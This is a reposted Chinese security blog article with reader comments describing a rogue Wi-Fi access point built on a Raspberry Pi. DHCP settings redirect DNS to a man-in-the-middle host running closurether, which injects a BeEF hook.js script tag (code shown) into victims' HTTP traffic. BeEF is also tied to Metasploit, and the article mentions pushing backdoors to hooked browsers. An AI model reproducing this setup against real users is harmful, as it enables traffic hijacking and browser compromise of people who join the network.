CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 百科
  3. 正文

投毒

2017年5月22日 1039点热度 0人点赞 0条评论
  • 首页
  • 分类阅读
  • 文库
  • 专栏
  • 公开课
  • 商城
  • 漏洞盒子
注册 | 登录
投稿

JS投毒的另一种尝试

戒贤2014-09-13+8共349078人围观 ,发现 27 个不明物体WEB安全网络安全

半个月前看了‍‍‍EtherDream写的那篇wifi流量劫持和JS投毒,随手就在公司实验室里折腾了一下,头一次接触这个领域,感觉挺新鲜的。然后又看到sh4dow@lcx.cc写了一篇《内网DNS投毒技术劫持会话》,我决定把我做的东西也分享一下。

0×01 攻击思路

1、用树莓派建立一个AP,诱使别人过来连接
2、在树莓派里,设定DNS,指向一台代理主机(其实就是中间人)
3、在代理主机上运行closurether,进行JS投毒
4、投毒可以有很多种,closurether的原作者是设计了一个可以截获用户的登陆时候输入的用户名和密码,但是那个链接已经失效了,自己又不会写js,所以就改用别的思路。这里我选择了BeEF框架进行配合,在流量中插入hook.js
5、既然BeEF可以配合MSF来攻击浏览器,那这里自然也少不了MSF的戏份

0×02 工具准备

EDUP 迷你USB无线网卡 免驱动 (RTL8188CUS)
Raspberry Pi,系统镜像是Raspbian

团队的Summer建议我用TP-Link TL-WR703N 刷一个openWRT,便携而且还可以实现很多其他的功能。

这个想法还没有去尝试,openWRT刷进路由以后,路由就没有任何空间来安装其他的东西了。

0×03 改造树莓派

首先让树莓派运行起来,玩过的人都知道怎么弄,下载镜像,写入镜像,不做赘述。

其次是让树莓派作为一个路由器运行起来
详细的可以看这里:http://www.daveconroy.com/using-your-raspberry-pi-as-a-wireless-router-and-web-server/
这是使用树莓派建立无线AP的最早一篇文章。这里讲的非常详细,包括原理和具体配置都列举出来了,照着一步步坐下来,不会出太大意外。

这里伪造的wifi是我以前学调酒的那间酒吧用的,我师父是Lavazza的顶级咖啡师。不过那家酒吧关门了……在南京的童鞋如果有兴趣,还是有地方可以让我调酒的。

0×04建立中间人

在JS缓存投毒的文章中,作者给了非常详细的原理解释,并给出了实现代码。
我测试的平台是Mac OS X 10.0(黑苹果),安装简易,没有发生任何状况。

首先需要安装node.js

然后安装closurether

npm install -g closurether

运行closurether

closurether

closurether运行成功的话,就会看到下面的信息(linux下运行closurether需要的权限比较高,windows不能开启其他占用80、443端口的服务)

sudo closurether
 Password:
 [SYS] local ip: 172.16.6.37
 [DNS] running 0.0.0.0:53
 [WEB] listening 0.0.0.0:80
 [WEB] listening 0.0.0.0:443

这个时候如果设置浏览器的代理指向127.0.0.1:80就可以看到closurether劫持的所有流量,包括DNS解析和http请求
如果你这么做了,不妨在浏览器中查看源码,你会看到源码中已经被植入了一个script标签,这个就是被closurether植入的攻击代码。
为了伪装,把地址写成了http://10086.cn/js10086/201306301200.js
但实际上,10086.cn上可不会有这么个文件….好一手栽赃嫁祸,我是伪装成了google-analytis的站点分析脚本

使用的攻击脚本和伪装都可以在config.json文件中修改

0×05修改DNS
依然已经准备了代理(中间人),那么就需要让流量指向代理,前面说设置浏览器代理可以实现,但最理想的还是作者提供的修改DNS
修改DNS,指向代理服务器,那么所有使用这个wifi上网的人解析域名就都解析到了代理服务器,DNS解析之后,再把http流量也指向代理服务器,就顺理成章的使closurether成为了中间人

在树莓派的DHCP中设置:

subnet 192.168.1.0 netmask 255.255.255.0 {
  range 192.168.1.1 192.168.1.254;
  option routers 192.168.1.1;
  option domain-name-servers 172.16.6.37;
  interface wlan0;
}

172.16.6.37也就是我本机

那么这个时候,连接到这个wifi的设备进行DNS解析的时候,得到的结果都是172.16.6.37

然后,其他的请求也就都指向了代理。

PS:closurether作者考虑的很周到,js投毒只能针对http或https协议,如果是其他的协议,那么在第二次请求的时候就把真实的DNS请求结果反馈给客户端,这样就不会那么容易被发现了。

0X06 BeEF和MSF

别人的文章里比我写的要清楚,就不多说了
但是目前关于BeEF使用的文章还比较少,还在陆续的挖掘其中的功能。

主要是需要建立BeEF和MSF的协作

使用

msfconsole -r beef.rc

来建立一个MSF的XMLRPC服务,然后BeEF启动以后会自动调用

beef.rc的内容如下:

load xmlrpc ServerHost=<服务器IP> Pass=<密码> ServerType=Web

0×07 把毒药撒向天空,让它随风飘扬(此处应有反派出场的音乐)

closurether中做如下修改:
修改asset/inject/extern.js,在function中增加:

var commandModuleStr = '<script src="http://172.16.6.37:3000/hook.js" type="text/javascript">// <![CDATA[
<\/script>';
document.write(commandModuleStr);

http://172.16.6.37:3000/hook.js是BeEF的XSS脚本,理论上,这个脚本可以放在任何地方,也可以被closurether直接向流量中注入,还是因为不懂js,没有做过多的尝试。

然后,就等鱼上钩了

接下来就是如何利用BeEF和MSF去攻击浏览器的内容了。

按照closurether作者的思路,被投进去的js脚本会长期保存在用户的电脑里,时间又长有短。可能在未来的某一天,一台设备就突然上线了。

貌似用BeEF控制用户的浏览器去下载一个后门文件,也是可以的。

0×08小结

1、都是前人的东西,只不过组合了一下而已,没有任何穿创新,比较水。

2、hook.js对手机浏览器没有任何效果

3、MSF的漏洞库比较并没有想象中那么强大,想要一举拿下被投毒的电脑,没有几个0day估计是搞不定的

4、忽然对360清空浏览器缓存的功能感到很纠结……

5、用树莓派来实现这个功能,只是为了工作需要,经常出去做一些演讲,用这套设备效果会很好。实战中可能的问题就是,树莓派和中间人服务器,必须有一个能连接互联网。

6、树莓派上安装closurether也有些问题,还没做深入研究。

注:原文在我们团队主页上发表过,这里是重新编辑了一下。

附上一杯鸡尾酒,敬FreeBuf

参考资料

把树莓派改造成无线路由器

JS脚本缓存投毒

BeEF框架搭建和使用

戒贤

戒贤4 篇文章等级: 4级
|
|
  • 上一篇:渗透测试:内网DNS投毒技术劫持会话
  • 下一篇:XSS编码剖析

这些评论亮了

  • 河蟹回复
    别人的文章里比我写的要清楚,就不多说了
    但是目前关于BeEF使用的文章还比较少,还在陆续的挖掘其中的功能。
    什么叫beef使用的文章比较少 无非就是插入script而已
    任意的js都可以执行了,beef有啥不可以的呢? 你觉得你写个文章亮点在那里? 教别人在树莓派建软ap么?
    )14(亮了
  • thanks(8级)FreeBuf常务处主任回复
    @artandlol  此文为原作者投递稿件,并且请仔细看文章再说话:“原文在我们团队主页上发表过,这里是重新编辑了一下。”
    另外,大家来freebuf是阅读、涨姿势的,良好的评论环境我相信也是大家的共同意愿。因此在评论区无脑乱喷,不阅读文章就带着不纯粹目的评论,甚至攻击作者,我们严重不欢迎。破坏freebuf环境者我们会清除帐号、封锁IP处理。
    关于版权问题,我再重申下:
    FreeBuf是一个共享的安全信息平台,我们鼓励阅读分享。FreeBuf内部之前已明确要求FreeBuf编辑团队对所有文章尾部表明参考信息来源。如果没有特殊标出的,说明文章来源于1、FreeBuf原创 2、作者原创并投递到freebuf 3、未注明出处的投稿型文章且我们无法确认来源。
    )7(亮了
  • K回复
    昨天你们集体不发言,是去开乌云那个大会了么,据说还有个13岁的学生?是真的?
    )6(亮了
发表评论

已有 27 条评论

  • 画龙 (1级) 2014-09-14回复1楼

    沙发

    亮了(3)
    • mobier (4级)有阴影的地方必定有光. 2014-09-14回复

      @画龙  :neutral: 小胖胖

      亮了(3)
  • DK 2014-09-14回复2楼

    戒贤牛(chu)逼(nan)

    亮了(3)
    • 戒贤 (4级)一只混迹在安全圈子边缘的调酒师 2014-09-14回复

      这个问题我们不是讨论过么

      亮了(2)
  • K 2014-09-14回复3楼

    昨天你们集体不发言,是去开乌云那个大会了么,据说还有个13岁的学生?是真的?

    亮了(6)
  • 河蟹 2014-09-14回复4楼

    别人的文章里比我写的要清楚,就不多说了
    但是目前关于BeEF使用的文章还比较少,还在陆续的挖掘其中的功能。

    什么叫beef使用的文章比较少 无非就是插入script而已

    任意的js都可以执行了,beef有啥不可以的呢? 你觉得你写个文章亮点在那里? 教别人在树莓派建软ap么?

    亮了(14)
    • 戒贤 (4级)一只混迹在安全圈子边缘的调酒师 2014-09-14回复

      Beef的全名是浏览器安全测试框架,最早是被用来做xss的,也有很多其他的功能。光是hook.js这个脚本就超过2M,河蟹对此有研究么,恳请指点一二

      亮了(2)
  • sh4dow@lcx.cc (2级)I need AV! 2014-09-14回复5楼

    很赞的思路,用node的目地就是为了休息下投毒时候的地址修改嘛?BeEF和MSF这个搭配,这个思路不错。投毒木马可能成功太低。个人觉得还是用js去得到一些目标的个人信息

    亮了(3)
    • 戒贤 (4级)一只混迹在安全圈子边缘的调酒师 2014-09-14回复

      @sh4dow@lcx.cc  确实,成功的几率不是很大,投毒之后,只有一半的主机能连回来。而且,对移动设备没有任何效果,这点比较遗憾

      亮了(2)
      • dawner (9级)黎明已经过去,黑暗就在眼前! 2014-09-14回复

        @戒贤  有一半感觉还是不错啊~

        亮了(2)
  • artandlol (2级) 2014-09-14回复6楼

    freebuf上的很多文章都是别人博客上的 自己搞一遍再发就算源创? 这样真的好吗

    亮了(5)
    • thanks (8级)FreeBuf常务处主任 2014-09-14回复

      @artandlol  此文为原作者投递稿件,并且请仔细看文章再说话:“原文在我们团队主页上发表过,这里是重新编辑了一下。”
      另外,大家来freebuf是阅读、涨姿势的,良好的评论环境我相信也是大家的共同意愿。因此在评论区无脑乱喷,不阅读文章就带着不纯粹目的评论,甚至攻击作者,我们严重不欢迎。破坏freebuf环境者我们会清除帐号、封锁IP处理。

      关于版权问题,我再重申下:
      FreeBuf是一个共享的安全信息平台,我们鼓励阅读分享。FreeBuf内部之前已明确要求FreeBuf编辑团队对所有文章尾部表明参考信息来源。如果没有特殊标出的,说明文章来源于1、FreeBuf原创 2、作者原创并投递到freebuf 3、未注明出处的投稿型文章且我们无法确认来源。

      亮了(7)
    • K 2014-09-14回复

      @artandlol  不经调查直接跑过来黑真的好么。就算是抄的,只要是干货,每天过来吸收点新的营养难道不好么?你愿意的话可以自己四处找着看啊,别一边喝着奶,一边骂奶妈。这样不好,okay?

      亮了(5)
    • 罗永浩 2014-09-14回复

      @artandlol  这次必须要声援freebuf!分享不易,黑子滚粗

      亮了(4)
    • lock (6级)独立安全研究员 2014-09-14回复

      @artandlol  下次发表评论前先看清楚文章吧?

      亮了(5)
    • 摘下有色眼镜 2014-09-15回复

      @artandlol  分享不易,拒绝乱喷!

      亮了(1)
  • kor_1989 2014-09-14回复7楼

    你们团队 你们团队是哪个团队 地址发出来

    亮了(2)
    • 戒贤 (4级)一只混迹在安全圈子边缘的调酒师 2014-09-14回复

      我们几个小学生的团队,就不发出来招各位吐槽了

      亮了(3)
    • LG 2014-09-15回复

      @kor_1989 同作为看客,我就觉得这话很可笑了,搞得好像你看过google,微软,tencent,360,天融信,启明星,绿盟,知道创团队地址似的。。。

      亮了(3)
  • k5716170 (1级) 2014-09-14回复8楼

    很好!!很强大!!

    亮了(4)
  • blackpower (1级)对个体软件人来说,什么是核心竞争力?不是时间差,不是技术,不... 2014-09-15回复9楼

    上来就是NPM install
    你确定不是用的RPM 安装的?

    亮了(2)
    • 戒贤 (4级)一只混迹在安全圈子边缘的调酒师 2014-09-15回复

      @blackpower  不好意思….这里确实写漏了。npm是nodejs的安装器,先装nodejs,然后用npm来安装closurether

      亮了(2)
  • Mike (1级)背弃了理想,谁人都可以,那会怕有一天只你共我! 2014-09-17回复10楼

    很不错!感谢分享.

    亮了(1)
  • darkwind (1级) 2014-09-18回复11楼

    其实原理都是差不多,但是能组合起来用就能发挥无限的潜能!

    亮了(1)
  • 爱捣蛋的鬼 (2级) 2014-09-19回复12楼

    我要找你调酒,我一滴酒醉

    亮了(1)
    • 戒贤 (4级)一只混迹在安全圈子边缘的调酒师 2014-09-19回复

      @爱捣蛋的鬼  也有喝不醉的酒,只是比较少见

      亮了(1)
  • 申请个账号 2015-08-10回复13楼

    @ 河蟹 为什么设置代理之后上不了网了

    亮了(1)

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

戒贤

戒贤

一只混迹在安全圈子边缘的调酒师

4 篇文章64 条评论

相关阅读

  • 德国贡德雷明根核电站发现病毒
  • [新思路]Flash ExternalInterface函数导致的XSS
  • 超级加农炮(Great Cannon)缺陷探究之TTL篇
  • 一个远程代码执行漏洞搞定Yahoo, Microsoft, Orange
  • Java编写代理服务器(Burp拦截Demo)一

特别推荐

关注我们 分享每日精选文章

不容错过

  • 「安全大咖说」专访360核心安全负责人:郑文彬(MJ0011)| FB视频Sophia2016-07-13
  • 混搭新式:社工+powershell,轻松畅游主机东二门陈冠希2016-05-30
  • GSM Hacking:使用BladeRF、树莓派、YatesBTS搭建便携式GSM基站鸢尾2016-04-25
  • 隔墙有耳:黑客可以“听到”离线计算机的密钥GeekPwn2016-02-17

FREEBUF

  • 免责声明
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0daybank

标签: 暂无
最后更新:2017年5月22日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me